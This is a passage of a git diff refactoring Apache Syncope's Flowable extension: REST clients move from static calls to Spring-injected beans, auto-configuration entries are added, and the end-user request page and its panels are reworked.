userRequestRestClient; + } + @Override public void afterUpdate(final String userKey) { - UserRequestRestClient.getForm(userKey).ifPresent(form -> { + userRequestRestClient.getForm(userKey).ifPresent(form -> { try { - UserRequestRestClient.claimForm(form.getTaskId()); + userRequestRestClient.claimForm(form.getTaskId()); } catch (SyncopeClientException e) { SyncopeConsoleSession.get().onException(e); } diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_it.properties b/ext/flowable/client-console/src/main/resources/META-INF/spring.factories similarity index 86% rename from client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_it.properties rename to ext/flowable/client-console/src/main/resources/META-INF/spring.factories index 7eac805201b..37f62bbb00f 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_it.properties +++ b/ext/flowable/client-console/src/main/resources/META-INF/spring.factories @@ -14,8 +14,6 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. -any.edit=Modifica ${key} -any.new=New report template -any.finish=Invia -any.cancel=Annulla -text.title=csv + +org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ + org.apache.syncope.client.console.FlowableConsoleContext diff --git a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel.html b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel.html similarity index 89% rename from ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel.html rename to ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel.html index aef81e596e2..c5a8c98171c 100644 --- a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel.html +++ b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel.html @@ -17,15 +17,11 @@ under the License. --> - -
    - [value] -
    - + -     + diff --git a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel.properties b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel.properties similarity index 97% rename from ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel.properties rename to ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel.properties index 450ff508db4..5d29cc4f4c6 100644 --- a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel.properties +++ b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel.properties @@ -15,4 +15,3 @@ # specific language governing permissions and limitations # under the License. userDetails=User details -userForm=Edit User diff --git a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_it.properties b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_it.properties similarity index 97% rename from ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_it.properties rename to ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_it.properties index 92c475d20e9..b96f57c411a 100644 --- a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_it.properties +++ b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_it.properties @@ -15,4 +15,3 @@ # specific language governing permissions and limitations # under the License. userDetails=Dettagli utente -userForm=Modifica utente diff --git a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_ja.properties b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_ja.properties similarity index 94% rename from ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_ja.properties rename to ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_ja.properties index 5a9cc2d8aa5..93119db5347 100644 --- a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_ja.properties +++ b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_ja.properties @@ -15,4 +15,3 @@ # specific language governing permissions and limitations # under the License. userDetails=\u30e6\u30fc\u30b6\u30fc\u8a73\u7d30 -userForm=\u30e6\u30fc\u30b6\u30fc\u3092\u7de8\u96c6 diff --git a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_pt_BR.properties b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_pt_BR.properties similarity index 96% rename from ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_pt_BR.properties rename to ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_pt_BR.properties index 00a89715392..b2b000ae44a 100644 --- a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_pt_BR.properties +++ b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_pt_BR.properties @@ -15,4 +15,3 @@ # specific language governing permissions and limitations # under the License. userDetails=Detalhes do Usu\u00e1rio -userForm=Detalhes do Usu\u00e1rio diff --git a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_ru.properties b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_ru.properties similarity index 89% rename from ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_ru.properties rename to ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_ru.properties index 02c159a166b..c82ab29b9c1 100644 --- a/ext/flowable/client-common-ui/src/main/resources/org/apache/syncope/ext/client/common/ui/panels/UserRequestFormPanel_ru.properties +++ b/ext/flowable/client-console/src/main/resources/org/apache/syncope/client/console/panels/UserRequestFormPanel_ru.properties @@ -17,4 +17,3 @@ # # userDetails=\u00d0\u0098\u00d0\u00bd\u00d1\u0084\u00d0\u00be\u00d1\u0080\u00d0\u00bc\u00d0\u00b0\u00d1\u0086\u00d0\u00b8\u00d1\u008f \u00d0\u00be \u00d0\u00bf\u00d0\u00be\u00d0\u00bb\u00d1\u008c\u00d0\u00b7\u00d0\u00be\u00d0\u00b2\u00d0\u00b0\u00d1\u0082\u00d0\u00b5\u00d0\u00bb\u00d0\u00b5 userDetails=\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 -userForm=\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 diff --git a/ext/flowable/client-enduser/pom.xml b/ext/flowable/client-enduser/pom.xml index af8e8504a8a..bccac6b0ef4 100644 --- a/ext/flowable/client-enduser/pom.xml +++ b/ext/flowable/client-enduser/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-flowable - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: Flowable Client Enduser @@ -38,11 +38,6 @@ under the License. - - org.apache.syncope.ext.flowable - syncope-ext-flowable-client-common-ui - ${project.version} - org.apache.syncope.ext.flowable syncope-ext-flowable-rest-api diff --git a/client/idrepo/enduser/src/main/java/org/apache/syncope/client/enduser/EnduserContext.java b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/FlowableEnduserContext.java similarity index 61% rename from client/idrepo/enduser/src/main/java/org/apache/syncope/client/enduser/EnduserContext.java rename to ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/FlowableEnduserContext.java index 6bd8a74e3e0..bac6df61016 100644 --- a/client/idrepo/enduser/src/main/java/org/apache/syncope/client/enduser/EnduserContext.java +++ b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/FlowableEnduserContext.java @@ -18,35 +18,24 @@ */ package org.apache.syncope.client.enduser; -import org.apache.syncope.client.enduser.commons.PreviewUtils; -import org.apache.syncope.client.enduser.init.ClassPathScanImplementationLookup; -import org.apache.syncope.client.ui.commons.MIMETypesLoader; +import org.apache.syncope.client.enduser.rest.BpmnProcessRestClient; +import org.apache.syncope.client.enduser.rest.UserRequestRestClient; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; @Configuration(proxyBeanMethods = false) -public class EnduserContext { +public class FlowableEnduserContext { @ConditionalOnMissingBean @Bean - public ClassPathScanImplementationLookup classPathScanImplementationLookup() { - ClassPathScanImplementationLookup lookup = new ClassPathScanImplementationLookup(); - lookup.load(); - return lookup; + public BpmnProcessRestClient bpmnProcessRestClient() { + return new BpmnProcessRestClient(); } @ConditionalOnMissingBean @Bean - public MIMETypesLoader mimeTypesLoader() { - MIMETypesLoader mimeTypesLoader = new MIMETypesLoader(); - mimeTypesLoader.load(); - return mimeTypesLoader; - } - - @ConditionalOnMissingBean - @Bean - public PreviewUtils previewUtils() { - return new PreviewUtils(); + public UserRequestRestClient userRequestRestClient() { + return new UserRequestRestClient(); } } diff --git a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/Flowable.java b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/Flowable.java index 6037f05ea9c..3b5c0e00026 100644 --- a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/Flowable.java +++ b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/Flowable.java @@ -18,18 +18,19 @@ */ package org.apache.syncope.client.enduser.pages; -import java.util.Collections; import java.util.Iterator; +import java.util.List; +import java.util.function.Predicate; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.enduser.SyncopeEnduserSession; -import org.apache.syncope.client.enduser.markup.html.form.BpmnProcessesAjaxPanel; import org.apache.syncope.client.enduser.panels.UserRequestDetails; import org.apache.syncope.client.enduser.rest.BpmnProcessRestClient; import org.apache.syncope.client.enduser.rest.UserRequestRestClient; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; import org.apache.syncope.client.ui.commons.annotations.ExtPage; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.client.ui.commons.wicket.markup.html.bootstrap.tabs.Accordion; import org.apache.syncope.common.lib.to.BpmnProcess; import org.apache.syncope.common.lib.to.UserRequest; @@ -38,7 +39,6 @@ import org.apache.wicket.ajax.markup.html.navigation.paging.AjaxPagingNavigator; import org.apache.wicket.extensions.markup.html.repeater.util.SortParam; import org.apache.wicket.extensions.markup.html.tabs.AbstractTab; -import org.apache.wicket.extensions.markup.html.tabs.ITab; import org.apache.wicket.markup.html.WebMarkupContainer; import org.apache.wicket.markup.repeater.Item; import org.apache.wicket.markup.repeater.data.DataView; @@ -47,55 +47,30 @@ import org.apache.wicket.model.Model; import org.apache.wicket.model.StringResourceModel; import org.apache.wicket.request.mapper.parameter.PageParameters; +import org.apache.wicket.spring.injection.annot.SpringBean; @ExtPage(label = "User Requests", icon = "fa fa-briefcase", listEntitlement = "") -public class Flowable extends BasePage { +public class Flowable extends BaseExtPage { private static final long serialVersionUID = -8781434495150074529L; - private static final String USER_REQUESTS = "page.userRequests"; + protected static final String USER_REQUESTS = "page.userRequests"; - private final int rowsPerPage = 5; + protected static final int ROWS_PER_PAGE = 5; - private final Model bpmnProcessModel = new Model<>(); + @SpringBean + protected UserRequestRestClient userRequestRestClient; - private final WebMarkupContainer container; - - private final DataView urDataView; + @SpringBean + protected BpmnProcessRestClient bpmnProcessRestClient; public Flowable(final PageParameters parameters) { super(parameters, USER_REQUESTS); - container = new WebMarkupContainer("content"); - container.setOutputMarkupId(true); - - // list of accordions containing request form (if any) and delete button - urDataView = new DataView<>("userRequests", new URDataProvider(rowsPerPage, "bpmnProcess")) { - - private static final long serialVersionUID = -5002600396458362774L; - - @Override - protected void populateItem(final Item item) { - final UserRequest userRequest = item.getModelObject(); - item.add(new Accordion("userRequestDetails", Collections.singletonList(new AbstractTab( - new StringResourceModel("user.requests.accordion", container, Model.of(userRequest))) { - - private static final long serialVersionUID = 1037272333056449378L; - - @Override - public WebMarkupContainer getPanel(final String panelId) { - // find the form associated to the current request, if any - return new UserRequestDetails(panelId, userRequest, container, notificationPanel); - } - }), Model.of(-1)).setOutputMarkupId(true)); - } - }; - - urDataView.setItemsPerPage(rowsPerPage); - urDataView.setOutputMarkupId(true); - container.add(urDataView); - container.add(new AjaxPagingNavigator("navigator", urDataView)); + WebMarkupContainer container = new WebMarkupContainer("content"); + contentWrapper.add(container.setOutputMarkupId(true)); + Model bpmnProcessModel = new Model<>(); AjaxLink startButton = new AjaxLink<>("start") { private static final long serialVersionUID = 3669569969172391336L; @@ -104,7 +79,7 @@ public WebMarkupContainer getPanel(final String panelId) { public void onClick(final AjaxRequestTarget target) { if (StringUtils.isNotBlank(bpmnProcessModel.getObject())) { try { - UserRequestRestClient.startRequest(bpmnProcessModel.getObject(), null); + userRequestRestClient.startRequest(bpmnProcessModel.getObject()); } catch (Exception e) { LOG.error("Unable to start bpmnProcess [{}]", bpmnProcessModel.getObject(), e); SyncopeEnduserSession.get() @@ -115,35 +90,53 @@ public void onClick(final AjaxRequestTarget target) { } } }; - - startButton.setEnabled(false); - container.add(startButton); + container.add(startButton.setEnabled(false)); // autocomplete select with bpmnProcesses - BpmnProcessesAjaxPanel bpmnProcesses = new BpmnProcessesAjaxPanel("bpmnProcesses", "bpmnProcesses", - bpmnProcessModel, new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { + AjaxTextFieldPanel bpmnProcesses = new AjaxTextFieldPanel( + "bpmnProcesses", "bpmnProcesses", bpmnProcessModel, false); + bpmnProcesses.getField().add(new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { private static final long serialVersionUID = -1107858522700306810L; @Override protected void onUpdate(final AjaxRequestTarget target) { - if (StringUtils.isNotBlank(bpmnProcessModel.getObject())) { - startButton.setEnabled(true); - } else { - startButton.setEnabled(false); - } + startButton.setEnabled(StringUtils.isNotBlank(bpmnProcessModel.getObject())); target.add(container); } }); - bpmnProcesses.setChoices(BpmnProcessRestClient.getDefinitions().stream() - .filter(definition -> !definition.isUserWorkflow()) - .map(BpmnProcess::getKey).collect(Collectors.toList())); + bpmnProcesses.setChoices(bpmnProcessRestClient.getDefinitions().stream(). + filter(Predicate.not(BpmnProcess::isUserWorkflow)). + map(BpmnProcess::getKey).sorted().collect(Collectors.toList())); container.add(bpmnProcesses); - contentWrapper.add(container); + // list of accordions containing request form (if any) and delete button + DataView urDataView = new DataView<>( + "userRequests", new URDataProvider(ROWS_PER_PAGE, "bpmnProcess")) { + + private static final long serialVersionUID = -5002600396458362774L; + + @Override + protected void populateItem(final Item item) { + UserRequest userRequest = item.getModelObject(); + item.add(new Accordion("userRequestDetails", List.of(new AbstractTab( + new StringResourceModel("user.requests.accordion", container, Model.of(userRequest))) { + + private static final long serialVersionUID = 1037272333056449378L; + + @Override + public WebMarkupContainer getPanel(final String panelId) { + return new UserRequestDetails(panelId, userRequest, container, notificationPanel); + } + }), Model.of(-1)).setOutputMarkupId(true)); + } + }; + urDataView.setItemsPerPage(ROWS_PER_PAGE); + container.add(urDataView.setOutputMarkupId(true)); + container.add(new AjaxPagingNavigator("navigator", urDataView)); } - public static class URDataProvider implements IDataProvider { + protected class URDataProvider implements IDataProvider { private static final long serialVersionUID = 1169386589403139714L; @@ -159,15 +152,15 @@ public URDataProvider(final int paginatorRows, final String sortParam) { @Override public Iterator iterator(final long first, final long count) { int page = ((int) first / paginatorRows); - return UserRequestRestClient.listRequests((page < 0 ? 0 : page) + 1, + return userRequestRestClient.listRequests( + (page < 0 ? 0 : page) + 1, paginatorRows, - SyncopeEnduserSession.get().getSelfTO().getUsername(), new SortParam<>(sortParam, true)).iterator(); } @Override public long size() { - return UserRequestRestClient.countRequests(); + return userRequestRestClient.countRequests(); } @Override diff --git a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/panels/UserRequestDetails.java b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/panels/UserRequestDetails.java index 42701db2bdc..c834a440b5d 100644 --- a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/panels/UserRequestDetails.java +++ b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/panels/UserRequestDetails.java @@ -21,13 +21,13 @@ import org.apache.syncope.client.enduser.SyncopeEnduserSession; import org.apache.syncope.client.enduser.rest.UserRequestRestClient; import org.apache.syncope.client.ui.commons.panels.NotificationPanel; +import org.apache.syncope.client.ui.commons.panels.SyncopeFormPanel; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.to.ProvisioningResult; import org.apache.syncope.common.lib.to.UserRequest; import org.apache.syncope.common.lib.to.UserRequestForm; import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.ExecStatus; -import org.apache.syncope.ext.client.common.ui.panels.UserRequestFormPanel; import org.apache.wicket.ajax.AjaxRequestTarget; import org.apache.wicket.ajax.markup.html.AjaxLink; import org.apache.wicket.ajax.markup.html.form.AjaxButton; @@ -36,6 +36,7 @@ import org.apache.wicket.markup.html.form.Form; import org.apache.wicket.markup.html.panel.Fragment; import org.apache.wicket.markup.html.panel.Panel; +import org.apache.wicket.spring.injection.annot.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -45,7 +46,10 @@ public class UserRequestDetails extends Panel { protected static final Logger LOG = LoggerFactory.getLogger(UserRequestDetails.class); - private static final String USER_REQUEST_ERROR = "user_request_error"; + protected static final String USER_REQUEST_ERROR = "user_request_error"; + + @SpringBean + protected UserRequestRestClient userRequestRestClient; public UserRequestDetails( final String id, @@ -56,27 +60,18 @@ public UserRequestDetails( super(id); UserRequestForm formTO = userRequest.getHasForm() - ? UserRequestRestClient.getForm( - SyncopeEnduserSession.get().getSelfTO().getUsername(), - userRequest.getTaskId()).orElse(null) + ? userRequestRestClient.getForm(userRequest.getTaskId()).orElse(null) : null; - if (formTO == null || formTO.getProperties() == null || formTO.getProperties().isEmpty()) { - add(new Fragment("fragContainer", "formDetails", UserRequestDetails.this) - .add(new Label("executionId", userRequest.getExecutionId())) - .add(new Label("startTime", userRequest.getStartTime()))); + if (formTO == null || formTO.getProperties().isEmpty()) { + add(new Fragment("fragContainer", "requestDetails", UserRequestDetails.this). + add(new Label("executionId", userRequest.getExecutionId())). + add(new Label("activityId", userRequest.getActivityId())). + add(new Label("startTime", userRequest.getStartTime()))); } else { Form form = new Form<>("userRequestWrapForm"); - form.add(new UserRequestFormPanel("userRequestFormPanel", formTO, false) { - - private static final long serialVersionUID = 3617895525072546591L; - - @Override - protected void viewDetails(final AjaxRequestTarget target) { - // do nothing - } - }); + form.add(new SyncopeFormPanel<>("userRequestFormPanel", formTO)); form.add(new AjaxButton("submit") { @@ -85,8 +80,8 @@ protected void viewDetails(final AjaxRequestTarget target) { @Override protected void onSubmit(final AjaxRequestTarget target) { try { - UserRequestRestClient.claimForm(formTO.getTaskId()); - ProvisioningResult result = UserRequestRestClient.submitForm(formTO); + userRequestRestClient.claimForm(formTO.getTaskId()); + ProvisioningResult result = userRequestRestClient.submitForm(formTO); if (result.getPropagationStatuses().stream(). anyMatch(p -> ExecStatus.FAILURE == p.getStatus() @@ -116,7 +111,7 @@ protected void onSubmit(final AjaxRequestTarget target) { @Override public void onClick(final AjaxRequestTarget target) { - UserRequestRestClient.cancelRequest(userRequest.getExecutionId(), null); + userRequestRestClient.cancelRequest(userRequest.getExecutionId(), null); target.add(container); } }); diff --git a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/BaseRestClient.java b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/BaseRestClient.java deleted file mode 100644 index 6f9e4ff496a..00000000000 --- a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/BaseRestClient.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.client.enduser.rest; - -import org.apache.syncope.client.enduser.SyncopeEnduserSession; -import org.apache.syncope.client.lib.SyncopeClient; -import org.apache.syncope.client.ui.commons.rest.RestClient; -import org.apache.syncope.common.lib.search.OrderByClauseBuilder; -import org.apache.syncope.common.rest.api.service.SyncopeService; -import org.apache.wicket.extensions.markup.html.repeater.util.SortParam; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -public abstract class BaseRestClient implements RestClient { - - protected static final Logger LOG = LoggerFactory.getLogger(BaseRestClient.class); - - private static final long serialVersionUID = 1523999867826481989L; - - public static SyncopeService getSyncopeService() { - return getService(SyncopeService.class); - } - - protected static T getService(final Class serviceClass) { - return SyncopeEnduserSession.get().getService(serviceClass); - } - - protected static T getService(final String etag, final Class serviceClass) { - return SyncopeEnduserSession.get().getService(etag, serviceClass); - } - - protected static void resetClient(final Class serviceClass) { - SyncopeEnduserSession.get().resetClient(serviceClass); - } - - protected static String toOrderBy(final SortParam sort) { - OrderByClauseBuilder builder = SyncopeClient.getOrderByClauseBuilder(); - - String property = sort.getProperty(); - if (property.indexOf('#') != -1) { - property = property.substring(property.indexOf('#') + 1); - } - - if (sort.isAscending()) { - builder.asc(property); - } else { - builder.desc(property); - } - - return builder.build(); - } -} diff --git a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/BpmnProcessRestClient.java b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/BpmnProcessRestClient.java index c4a5beae43e..dc44e3d883c 100644 --- a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/BpmnProcessRestClient.java +++ b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/BpmnProcessRestClient.java @@ -34,25 +34,25 @@ public class BpmnProcessRestClient extends BaseRestClient { private static final long serialVersionUID = 5049285686167071017L; - private static BpmnProcessService getService(final MediaType mediaType) { + private BpmnProcessService getService(final MediaType mediaType) { BpmnProcessService service = getService(BpmnProcessService.class); Client client = WebClient.client(service); client.type(mediaType); return service; } - public static List getDefinitions() { + public List getDefinitions() { return getService(BpmnProcessService.class).list(); } - public static InputStream getDefinition(final MediaType mediaType, final String key) { + public InputStream getDefinition(final MediaType mediaType, final String key) { Response response = getService(mediaType).get(key); SyncopeEnduserSession.get().resetClient(BpmnProcessService.class); return (InputStream) response.getEntity(); } - public static byte[] getDiagram(final String key) { + public byte[] getDiagram(final String key) { BpmnProcessService service = getService(BpmnProcessService.class); WebClient.client(service).accept(RESTHeaders.MEDIATYPE_IMAGE_PNG); Response response = service.exportDiagram(key); diff --git a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/UserRequestRestClient.java b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/UserRequestRestClient.java index 998f0a63195..6dd775c31fa 100644 --- a/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/UserRequestRestClient.java +++ b/ext/flowable/client-enduser/src/main/java/org/apache/syncope/client/enduser/rest/UserRequestRestClient.java @@ -21,7 +21,8 @@ import java.util.List; import java.util.Optional; import javax.ws.rs.core.GenericType; -import org.apache.commons.lang3.StringUtils; +import org.apache.cxf.jaxrs.client.WebClient; +import org.apache.cxf.transport.http.asyncclient.AsyncHTTPConduit; import org.apache.syncope.client.enduser.SyncopeEnduserSession; import org.apache.syncope.common.lib.to.ProvisioningResult; import org.apache.syncope.common.lib.to.UserRequest; @@ -35,62 +36,65 @@ public class UserRequestRestClient extends BaseRestClient { private static final long serialVersionUID = -4785231164900813921L; - public static int countRequests() { - return getService(UserRequestService.class). - listRequests(new UserRequestQuery.Builder() - .user(SyncopeEnduserSession.get().getSelfTO().getUsername()) - .page(1) - .size(0) - .build()).getTotalCount(); + public long countRequests() { + return getService(UserRequestService.class).listRequests( + new UserRequestQuery.Builder(). + user(SyncopeEnduserSession.get().getSelfTO().getUsername()). + page(1).size(0).build()). + getTotalCount(); } - public static List listRequests( + public List listRequests( final int page, final int size, - final String username, final SortParam sort) { - return getService(UserRequestService.class).listRequests(new UserRequestQuery.Builder(). - user(StringUtils.isBlank(username) - ? SyncopeEnduserSession.get().getSelfTO().getUsername() - : username). - page(page).size(size).orderBy(toOrderBy(sort)).build()).getResult(); + return getService(UserRequestService.class).listRequests( + new UserRequestQuery.Builder(). + user(SyncopeEnduserSession.get().getSelfTO().getUsername()). + page(page).size(size).orderBy(toOrderBy(sort)).build()). + getResult(); } - public static void cancelRequest(final String executionId, final String reason) { + public void cancelRequest(final String executionId, final String reason) { getService(UserRequestService.class).cancelRequest(executionId, reason); } - public static int countForms() { + public int countForms() { return getService(UserRequestService.class). listForms(new UserRequestQuery.Builder().page(1).size(0).build()). getTotalCount(); } - public static List listForms(final int page, final int size, final SortParam sort) { + public List listForms(final int page, final int size, final SortParam sort) { return getService(UserRequestService.class). listForms(new UserRequestQuery.Builder().page(page).size(size).orderBy(toOrderBy(sort)).build()). getResult(); } - public static Optional getForm(final String username, final String taskId) { - return Optional.ofNullable(getService(UserRequestService.class).getForm(StringUtils.isBlank(username) - ? SyncopeEnduserSession.get().getSelfTO().getUsername() - : username, - taskId)); + public Optional getForm(final String taskId) { + return Optional.ofNullable(getService(UserRequestService.class). + getForm(SyncopeEnduserSession.get().getSelfTO().getUsername(), taskId)); } - public static ProvisioningResult submitForm(final UserRequestForm form) { + public ProvisioningResult submitForm(final UserRequestForm form) { return getService(UserRequestService.class).submitForm(form).readEntity( - new GenericType<>() { - }); + new GenericType<>() { + }); } - public static void startRequest(final String bpmnProcess, final String user) { - getService(UserRequestService.class).startRequest(bpmnProcess, user, null); + public void startRequest(final String bpmnProcess) { + UserRequestService service = getService(UserRequestService.class); + WebClient.getConfig(WebClient.client(service)). + getRequestContext().put(AsyncHTTPConduit.USE_ASYNC, Boolean.FALSE); + + service.startRequest(bpmnProcess, null, null); + + WebClient.getConfig(WebClient.client(service)). + getRequestContext().put(AsyncHTTPConduit.USE_ASYNC, Boolean.TRUE); } - public static UserRequestForm claimForm(final String taskKey) { + public UserRequestForm claimForm(final String taskKey) { return getService(UserRequestService.class).claimForm(taskKey); } } diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_fr_CA.properties b/ext/flowable/client-enduser/src/main/resources/META-INF/spring.factories similarity index 86% rename from client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_fr_CA.properties rename to ext/flowable/client-enduser/src/main/resources/META-INF/spring.factories index 8940df87baf..f03ae220886 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_fr_CA.properties +++ b/ext/flowable/client-enduser/src/main/resources/META-INF/spring.factories @@ -14,8 +14,6 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. -any.edit=Modifier ${key} -any.new=Nouveau modèle de rapport -any.finish=Soumettre -any.cancel=Annuler -text.title=csv + +org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ + org.apache.syncope.client.enduser.FlowableEnduserContext diff --git a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable.html b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable.html index cde3097c8ac..2550f79e5f5 100644 --- a/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable.html +++ b/ext/flowable/client-enduser/src/main/resources/org/apache/syncope/client/enduser/pages/Flowable.html @@ -56,21 +56,20 @@

    [ACTIVE REQUEST]
    + + + + + + + +
    -
    - - - - - - -
    -
